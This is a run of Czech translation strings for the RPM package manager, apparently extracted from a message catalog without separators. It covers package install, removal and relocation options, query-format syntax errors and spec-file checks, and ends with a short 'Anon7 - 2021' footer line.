přeinstalovat, i když je již balíček přítomenpřemístit soubory ze <staré_cesty> do <nové_cesty>přemístit soubory do <adr>, jsou-li přemístitelnépřemístění musejí začínat znakem /přemístění musejí obsahovat =přemístění musejí mít za znakem = znak /odstranit všechny balíčky odpovídající <balíčku> (obvykle se generuje chyba, specifikuje-li <balíček> více balíčků)po dokončení odstranit sestavovací strompo dokončení odstranit zdrojové kódypo dokončení odstranit spec soubornahrazen      režim dotazůrežim kontrolyuchovat smazané soubory přesunem do podadresářeuchovat smazané soubory pomocí přebalenívolba pro potlačení skriptů může být použita jen při instalaci nebo při odstraňování balíčkůzkratka pro --replacepkgs --replacefilesvynechat %%ghost souboryvynechat %%license souboryvynechat %%readme souborypřeskočit soubory s úvodní cestou <cesta> přeskočit přímo na určenou etapu (pouze pro c,i)zdrojový balíček neobsahuje .spec soubor
očekávám balíček se zdrojovými kódy, nalezen však binární
nahradit i18n sekce do spec souboruchyba syntaxe ve výrazu
chyba syntaxe při zpracování &&
chyba syntaxe při zpracování ==
chyba syntaxe při zpracování ||
volba pro potlačení triggerů může být použita jen při instalaci nebo odstraňování balíčkůtypy musí souhlasit
neočekávaná ]neočekávaný příznak pro dotazneočekávaný formát dotazuneočekávaný zdroj dotazuneočekávaná }neznámá chyba %d vznikla při manipulaci s balíčkem %sneznámá značkanedoplněná (
rozbalování archívu selhalo %s%s: %s
upravit databázi, ale neupravovat systém souborovůaktualizace balíčkuaktualizace balíčku jestliže je již nainstalovánaktualizovat na starou verzi balíčku (--force to dělá při aktualizacích automaticky)použij následující formát dotazůuživatel %s neexistuje - použit uživatel root
kontrola části %files ve <spec_soubor>kontrola části %files z <tar_soubor>zkontrolovat databázové souboryve výrazu je po : očekávána {ve výrazu je po ? očekávána {na konci výrazu je očekáváno |ve výrazu je očekávána }

Anon7 - 2021